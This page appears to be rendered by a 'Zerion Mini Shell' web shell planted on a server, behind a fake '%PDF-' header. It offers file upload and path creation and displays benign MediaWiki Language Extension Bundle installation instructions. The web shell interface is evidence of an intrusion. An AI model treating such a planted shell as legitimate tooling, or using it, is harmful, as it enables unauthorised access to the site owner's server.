%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/INSTALL.MediaWikiLanguageExtensionBundle

== Installation ==

=== Layout: ./mediawiki/extensions/{A,B,C} ===

Go to mediawiki directory and extract the release file:
 tar xjf MediaWikiLanguageExtensionBundle-{{/latest}}.tar.bz2

Your extension variable is
 $EXT = "$IP/extensions";

=== Layout: ./mediawiki/ ./extensions/{A,B,C} ===

Go to common parent directory and extract the release file:
 tar xjf MediaWikiLanguageExtensionBundle-{{/latest}}.tar.bz2

Your extension variables are:
 $EXT = "$IP/../extensions";
 $wgExtensionAssetsPath = "{$wgScriptPath}/../extensions";

=== Add/update your LocalSettings.php ===
Near the end, place the config lines given above followed by this:

<syntaxhighlight lang=php>
# Babel
require_once "$EXT/Babel/Babel.php";

# CLDR
require_once "$EXT/cldr/cldr.php";

# CleanChanges
require_once "$EXT/CleanChanges/CleanChanges.php";
$wgCCTrailerFilter = true;
$wgCCUserFilter = false;
$wgDefaultUserOptions['usenewrc'] = 1;

# LocalisationUpdate
require_once "$EXT/LocalisationUpdate/LocalisationUpdate.php";
$wgLocalisationUpdateDirectory = "$IP/cache";

# Translate
require_once "$EXT/Translate/Translate.php";
$wgGroupPermissions['user']['translate'] = true;
$wgGroupPermissions['user']['translate-messagereview'] = true;
$wgGroupPermissions['user']['translate-groupreview'] = true;
$wgGroupPermissions['user']['translate-import'] = true;
$wgGroupPermissions['sysop']['pagetranslation'] = true;
$wgGroupPermissions['sysop']['translate-manage'] = true;
$wgTranslateDocumentationLanguageCode = 'qqq';

# UniversalLanguageSelector
require_once "$EXT/UniversalLanguageSelector/UniversalLanguageSelector.php";
</syntaxhighlight>

=== Update database tables ===
==== Commandline ====
In the directory where your LocalSettings.php is located, run the following
command:
 php maintenance/update.php

==== Webbrowser ====
Go to example.com/mediawiki/mw-config/ by using your domain and path and rerun
install.

=== Configuring LocalisationUpdate ===
1. Create a cache folder in the installation directory, and be sure the server
has permissions to write on it.

2. If localization updates don't seem to come through, you may need to run,
 php maintenance/rebuildLocalisationCache.php --force

3. Whenever you want to run an update, run,
 php extensions/LocalisationUpdate/update.php

4. If you are on Unix like system, you should add LocalisationUpdate to
crontab:

 crontab -e
 # Add the following line
 @daily php /path/to/your/wiki/extensions/LocalisationUpdate/update.php --quiet

Zerion Mini Shell 1.0